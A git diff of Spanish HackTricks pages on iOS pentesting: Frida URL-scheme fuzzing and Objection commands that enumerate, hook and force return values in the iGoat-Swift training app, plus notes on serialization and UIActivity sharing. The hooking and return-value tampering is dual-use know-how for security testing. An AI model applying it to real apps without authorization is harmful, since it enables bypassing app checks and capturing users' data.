El fuzzing de esquemas de URL puede identificar errores de corrupción de memoria. Herramientas como [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) pueden automatizar este proceso abriendo URLs con diferentes cargas útiles para monitorear fallos, ejemplificado por la manipulación de URLs en la aplicación iGoat-Swift:
```bash
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
@ -77,16 +78,17 @@ Opened URL: iGoat://?contactNumber=0&message=0
## Referencias
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
Para esta sección se va a utilizar la herramienta [**Objection**](https://github.com/sensepost/objection).\
@ -23,14 +24,14 @@ Puedes ejecutar también `frida-ps -Uia` para verificar los procesos en ejecuci
# Enumeración básica de la aplicación
## Rutas locales de la aplicación
## Rutas de la aplicación local
* `env`: Encuentra las rutas donde la aplicación está almacenada dentro del dispositivo
```bash
env
Name Path
Nombre Ruta
----------------- -----------------------------------------------------------------------------------------------
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
@ -40,20 +41,20 @@ LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
## Listar paquetes, frameworks y bibliotecas
* `ios bundles list_bundles`: Lista los paquetes de la aplicación
* `ios bundles list_bundles`: Listar paquetes de la aplicación
```bash
ios bundles list_bundles
Executable Bundle Version Path
Ejecutable Paquete Versión Ruta
------------ -------------------- --------- -------------------------------------------
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
```
* `ios bundles list_frameworks`: Lista los frameworks externos utilizados por la aplicación
* `ios bundles list_frameworks`: Listar frameworks externos utilizados por la aplicación
```bash
ios bundles list_frameworks
Executable Bundle Version Path
Ejecutable Paquete Versión Ruta
------------------------------ -------------------------------------------- ---------- -------------------------------------------
ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework
...vateFrameworks/CoreDuetContext.framework
@ -76,11 +77,11 @@ RNCClipboard org.cocoapods.RNCClipboard 1.
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
[..]
```
* `memory list modules`: Lista los módulos cargados en memoria
* `memory list modules`: Listar módulos cargados en memoria
```bash
memory list modules
Name Base Size Path
Nombre Base Tamaño Ruta
----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------
iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54...
SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib
@ -96,7 +97,7 @@ libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/
```bash
memory list exports iGoat-Swift
Type Name Address
Tipo Nombre Dirección
-------- -------------------------------------------------------------------------------------------------------------------------------------- -----------
variable _mh_execute_header 0x104ffc000
function _mdictof 0x10516cb88
@ -118,7 +119,7 @@ variable _ZTIN9couchbase6differ10BaseDifferE
## Listar clases de una APP
* `ios hooking list classes`: Lista las clases de la aplicación
* `ios hooking list classes`: Listar clases de la aplicación
```bash
ios hooking list classes
@ -133,9 +134,10 @@ AAAccountManager
AAAddEmailUIRequest
AAAppleIDSettingsRequest
AAAppleTVRequest
AAAttestationSigner
[...]
```
* `ios hooking search classes <search_term>`: Busca una clase que contenga una cadena. Puedes **buscar algún término único relacionado con el nombre del paquete principal de la aplicación** para encontrar las clases principales de la aplicación como en el ejemplo:
* `ios hooking search classes <search_term>`: Buscar una clase que contenga una cadena. Puedes **buscar algún término único que esté relacionado con el nombre del paquete principal de la aplicación** para encontrar las clases principales de la aplicación como en el ejemplo:
```bash
ios hooking search classes iGoat
@ -155,7 +157,7 @@ iGoat_Swift.MemoryManagementVC
## Listar métodos de clase
* `ios hooking list class_methods`: Lista los métodos de una clase específica
* `ios hooking list class_methods`: Listar métodos de una clase específica
```bash
ios hooking list class_methods iGoat_Swift.RCreditInfo
@ -169,7 +171,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
- initWithValue:
- setCardNumber:
```
* `ios hooking search methods <search_term>`: Busca un método que contenga una cadena
* `ios hooking search methods <search_term>`: Buscar un método que contenga una cadena
```bash
ios hooking search methods cvv
@ -186,21 +188,21 @@ ios hooking search methods cvv
[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:]
```
# Hooking Básico
# Hooking básico
Ahora que has **enumerado las clases y módulos** utilizados por la aplicación, es posible que hayas encontrado algunos **nombres de clase y método interesantes**.
Ahora que has **enumerado las clases y módulos** utilizados por la aplicación, es posible que hayas encontrado algunos **nombres de clases y métodos interesantes**.
## Enganchar todos los métodos de una clase
## Hookear todos los métodos de una clase
* `ios hooking watch class <class_name>`: Engancha todos los métodos de una clase, volcando todos los parámetros iniciales y retornos
* `ios hooking watch class <class_name>`: Hookear todos los métodos de una clase, volcar todos los parámetros iniciales y retornos
```bash
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
```
## Enganchar un solo método
## Hookear un solo método
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Engancha un método específico de una clase volcando los parámetros, backtraces y retornos del método cada vez que se llama
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hookear un método específico de una clase volcando los parámetros, backtraces y retornos del método cada vez que se llama
```bash
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
@ -208,13 +210,13 @@ ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPresse
## Cambiar el retorno booleano
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Esto hará que el método seleccionado devuelva el booleano indicado
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Esto hará que el método seleccionado retorne el booleano indicado
```bash
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
```
## Generar plantilla de enganche
## Generar plantilla de hooking
* `ios hooking generate simple <class_name>`:
@ -225,40 +227,56 @@ var target = ObjC.classes.iGoat_Swift.RCreditInfo;
Interceptor.attach(target['+ sharedSchema'].implementation, {
onEnter: function (args) {
console.log('Entering + sharedSchema!');
console.log('Entrando en + sharedSchema!');
},
onLeave: function (retval) {
console.log('Leaving + sharedSchema');
console.log('Saliendo de + sharedSchema');
},
});
Interceptor.attach(target['+ className'].implementation, {
onEnter: function (args) {
console.log('Entering + className!');
console.log('Entrando en + className!');
},
onLeave: function (retval) {
console.log('Leaving + className');
console.log('Saliendo de + className');
},
});
Interceptor.attach(target['- cvv'].implementation, {
onEnter: function (args) {
console.log('Entering - cvv!');
console.log('Entrando en - cvv!');
},
onLeave: function (retval) {
console.log('Leaving - cvv');
console.log('Saliendo de - cvv');
},
});
Interceptor.attach(target['- setCvv:'].implementation, {
onEnter: function (args) {
console.log('Entering - setCvv:!');
console.log('Entrando en - setCvv:!');
},
onLeave: function (retval) {
console.log('Leaving - setCvv:');
console.log('Saliendo de - setCvv:');
},
});
```
{% hint style="success" %}
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
# Manipuladores de Protocolo WebView
# Controladores de Protocolo WebView

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Código y más información en [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
## Serialización de Objetos en el Desarrollo de iOS
En iOS, la **serialización de objetos** implica convertir objetos en un formato que pueda ser fácilmente almacenado o transmitido, y luego reconstruirlos a partir de este formato cuando sea necesario. Dos protocolos principales, **`NSCoding`** y **`NSSecureCoding`**, facilitan este proceso para las subclases de Objective-C o `NSObject`, permitiendo que los objetos se serialicen en **`NSData`**, un formato que envuelve búferes de bytes.
En iOS, **la serialización de objetos** implica convertir objetos en un formato que se puede almacenar o transmitir fácilmente, y luego reconstruirlos a partir de este formato cuando sea necesario. Dos protocolos principales, **`NSCoding`** y **`NSSecureCoding`**, facilitan este proceso para Objective-C o subclases de `NSObject`, permitiendo que los objetos se serialicen en **`NSData`**, un formato que envuelve búferes de bytes.
### Implementación de **`NSCoding`**
### **Implementación de `NSCoding`**
Para implementar `NSCoding`, una clase debe heredar de `NSObject` o estar marcada como `@objc`. Este protocolo exige la implementación de dos métodos para codificar y decodificar variables de instancia:
```swift
class CustomPoint: NSObject, NSCoding {
@ -36,8 +37,8 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
}
}
```
### **Mejorando la seguridad con `NSSecureCoding`**
Para mitigar vulnerabilidades donde los atacantes inyectan datos en objetos ya construidos, **`NSSecureCoding`** ofrece un protocolo mejorado. Las clases que cumplen con `NSSecureCoding` deben verificar el tipo de objetos durante la decodificación, asegurando que solo se instancien los tipos de objetos esperados. Sin embargo, es crucial tener en cuenta que si bien `NSSecureCoding` mejora la seguridad de los tipos, no cifra los datos ni garantiza su integridad, lo que hace necesario tomar medidas adicionales para proteger la información sensible:
### **Mejorando la Seguridad con `NSSecureCoding`**
Para mitigar vulnerabilidades donde los atacantes inyectan datos en objetos ya construidos, **`NSSecureCoding`** ofrece un protocolo mejorado. Las clases que cumplen con `NSSecureCoding` deben verificar el tipo de objetos durante la decodificación, asegurando que solo se instancien los tipos de objetos esperados. Sin embargo, es crucial notar que, aunque `NSSecureCoding` mejora la seguridad de tipos, no cifra los datos ni garantiza su integridad, lo que requiere medidas adicionales para proteger la información sensible:
```swift
static var supportsSecureCoding: Bool {
return true
@ -45,8 +46,8 @@ return true
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
```
## Archivado de datos con `NSKeyedArchiver`
`NSKeyedArchiver` y su contraparte, `NSKeyedUnarchiver`, permiten codificar objetos en un archivo y luego recuperarlos. Este mecanismo es útil para persistir objetos:
## Archivado de Datos con `NSKeyedArchiver`
`NSKeyedArchiver` y su contraparte, `NSKeyedUnarchiver`, permiten codificar objetos en un archivo y recuperarlos más tarde. Este mecanismo es útil para persistir objetos:
```swift
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
@ -61,26 +62,26 @@ var name: String
```
Este enfoque admite la serialización directa hacia y desde listas de propiedades y JSON, mejorando el manejo de datos en aplicaciones Swift.
## Alternativas de Codificación de JSON y XML
Además del soporte nativo, varias bibliotecas de terceros ofrecen capacidades de codificación/decodificación de JSON y XML, cada una con sus propias características de rendimiento y consideraciones de seguridad. Es imperativo seleccionar cuidadosamente estas bibliotecas, especialmente para mitigar vulnerabilidades como los ataques XXE (Entidades Externas XML) configurando los analizadores para prevenir el procesamiento de entidades externas.
## Alternativas de Codificación JSON y XML
Más allá del soporte nativo, varias bibliotecas de terceros ofrecen capacidades de codificación/decodificación JSON y XML, cada una con sus propias características de rendimiento y consideraciones de seguridad. Es imperativo seleccionar cuidadosamente estas bibliotecas, especialmente para mitigar vulnerabilidades como ataques XXE (XML External Entities) configurando los analizadores para prevenir el procesamiento de entidades externas.
### Consideraciones de Seguridad
Al serializar datos, especialmente hacia el sistema de archivos, es esencial estar atento a la posible inclusión de información sensible. Los datos serializados, si son interceptados o manejados incorrectamente, pueden exponer a las aplicaciones a riesgos como acciones no autorizadas o filtraciones de datos. Se recomienda cifrar y firmar los datos serializados para mejorar la seguridad.
Al serializar datos, especialmente en el sistema de archivos, es esencial estar atento a la posible inclusión de información sensible. Los datos serializados, si son interceptados o manejados de manera inapropiada, pueden exponer a las aplicaciones a riesgos como acciones no autorizadas o filtraciones de datos. Se recomienda cifrar y firmar los datos serializados para mejorar la seguridad.
## Referencias
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,57 +1,58 @@
# Compartir UIActivity de iOS
# iOS UIActivity Sharing
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Compartir UIActivity Simplificado
# UIActivity Sharing Simplified
Desde iOS 6 en adelante, las aplicaciones de terceros pueden **compartir datos** como texto, URLs o imágenes utilizando mecanismos como AirDrop, como se describe en la [guía de Comunicación entre Aplicaciones de Apple](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Esta función se manifiesta a través de una _hoja de actividad de compartir_ a nivel del sistema que aparece al interactuar con el botón "Compartir".
Desde iOS 6 en adelante, las aplicaciones de terceros han podido **compartir datos** como texto, URLs o imágenes utilizando mecanismos como AirDrop, como se detalla en la [guía de Comunicación entre Aplicaciones](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) de Apple. Esta función se manifiesta a través de una _hoja de actividad de compartir_ a nivel del sistema que aparece al interactuar con el botón "Compartir".
Una enumeración exhaustiva de todas las opciones de compartir integradas está disponible en [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Los desarrolladores pueden optar por excluir opciones de compartir específicas si las consideran inadecuadas para su aplicación.
Una enumeración completa de todas las opciones de compartir integradas está disponible en [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Los desarrolladores pueden optar por excluir opciones de compartir específicas si las consideran inapropiadas para su aplicación.
## **Cómo Compartir Datos**
La atención debe dirigirse a:
Se debe prestar atención a:
- La naturaleza de los datos que se comparten.
- La inclusión de actividades personalizadas.
- La exclusión de ciertos tipos de actividades.
- La exclusión de ciertos tipos de actividad.
El compartir se facilita mediante la instanciación de un `UIActivityViewController`, al cual se le pasan los elementos destinados a compartir. Esto se logra llamando a:
El compartir se facilita a través de la instanciación de un `UIActivityViewController`, al cual se pasan los elementos destinados a compartir. Esto se logra llamando:
```bash
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
0x1000df034 45 44 initWithActivityItems:applicationActivities:
```
Los desarrolladores deben examinar el `UIActivityViewController` para las actividades y actividades personalizadas con las que se inicializa, así como cualquier `excludedActivityTypes` especificado.
Los desarrolladores deben examinar el `UIActivityViewController` por las actividades y actividades personalizadas con las que se inicializa, así como cualquier `excludedActivityTypes` especificado.
## **Cómo recibir datos**
## **Cómo Recibir Datos**
Los siguientes aspectos son cruciales al recibir datos:
- La declaración de **tipos de documento personalizados**.
- La especificación de **tipos de documento que la aplicación puede abrir**.
- La declaración de **tipos de documentos personalizados**.
- La especificación de **tipos de documentos que la aplicación puede abrir**.
- La verificación de la **integridad de los datos recibidos**.
Sin acceso al código fuente, aún se puede inspeccionar el `Info.plist` en busca de claves como `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` y `CFBundleDocumentTypes` para comprender los tipos de documentos que una aplicación puede manejar y declarar.
Sin acceso al código fuente, aún se puede inspeccionar el `Info.plist` en busca de claves como `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` y `CFBundleDocumentTypes` para entender los tipos de documentos que una aplicación puede manejar y declarar.
Una guía concisa sobre estas claves está disponible en [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), resaltando la importancia de definir e importar UTIs para el reconocimiento a nivel del sistema y asociar tipos de documentos con su aplicación para la integración en el diálogo "Abrir con".
